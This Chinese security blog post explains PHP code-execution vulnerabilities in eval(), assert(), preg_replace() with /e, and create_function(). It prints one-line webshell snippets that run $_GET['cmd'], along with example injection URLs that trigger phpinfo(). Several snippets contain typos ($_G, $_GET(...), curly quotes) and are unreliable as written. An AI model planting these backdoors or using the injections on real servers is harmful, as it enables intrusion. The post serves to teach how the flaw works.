PHP代码执行漏洞—Hack之路

PHP代码执行漏洞

PHP提供代码执行类函数主要是为了方便研发人员处理各类的数据,然而当研发人员不能合理的使用这些函数时或使用时为考虑安全风险,则很容易被攻击者利用执行远程恶意的PHP代码,威胁到系统安全
PHP代码里包含eval(),assert(),preg_repace(),create_function()等常用的函数来说明其中存在的安全隐患

一 | 危险的eval()函数

eval()函数可以把字符串code作为PHP代码执行。eval()函数的语言结构是非常危险的,因为他允许执行任意的PHP代码。如果必须使用,应该多加注意,不要允许传入任何由用户提供的未经完整验证过的数据
eval()函数可将参数中的变量值执行,通常用于处理模板和动态加载的PHP代码,但也常常被攻击者利用。比如下面代码所示的一句话后门程序

<?php eval($_GET[cmd])?>

该代码成功执行了phpinfo()程序

PHP代码执行漏洞---Hack之路

二 | 危险的assert()函数

assert()函数在PHP中用来判断一个表达式是否成立,返回真或者假,如果直接将代码传入进去也会被执行

<?php assert($_GET(“cmd”));?>

服务端存在上述代码,当请求http://localhost/shell.php?cmd=phpinfo();后phpinfo函数被执行

PHP代码执行漏洞---Hack之路

三 | 危险的 preg_replace()函数

在preg_replace()函数中,当第一个参数的正则表达式有e修正时,第二个参数的字符串当作PHP代码执行

<?php
preg_replace(“/pregStr/e”,$_GET[‘cmd’],”cmd_pregStr”);
?>

经过测试,此漏洞只支持php7.0以下版本

PHP代码执行漏洞---Hack之路

危险的create_function函数

create_function()函数的作用是从传递的参数创建匿名函数,并返回唯一的名称。当PHP不正确过滤给create_function()的输入时,远程攻击者可以利用漏洞以特权应用程序权限执行任意代码。
如下代码是create_function()函数引起的代码执行漏洞。

<?php $func =create_function(”,$_G[‘cmd’]);?>

PHP代码执行漏洞---Hack之路

请求http://localhost/shell.php?cmd=;}phpinfo();/*后phpinfo会在没有调用函数的情况下会被执行

网站地址:https://www.hackzl.cn;发布者:hack之路,转转请注明出处:https://www.hackzl.cn/index.php/2020/09/11/php%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c%e6%bc%8f%e6%b4%9e-hack%e4%b9%8b%e8%b7%af/

发表评论

邮箱地址不会被公开。 必填项已用*标注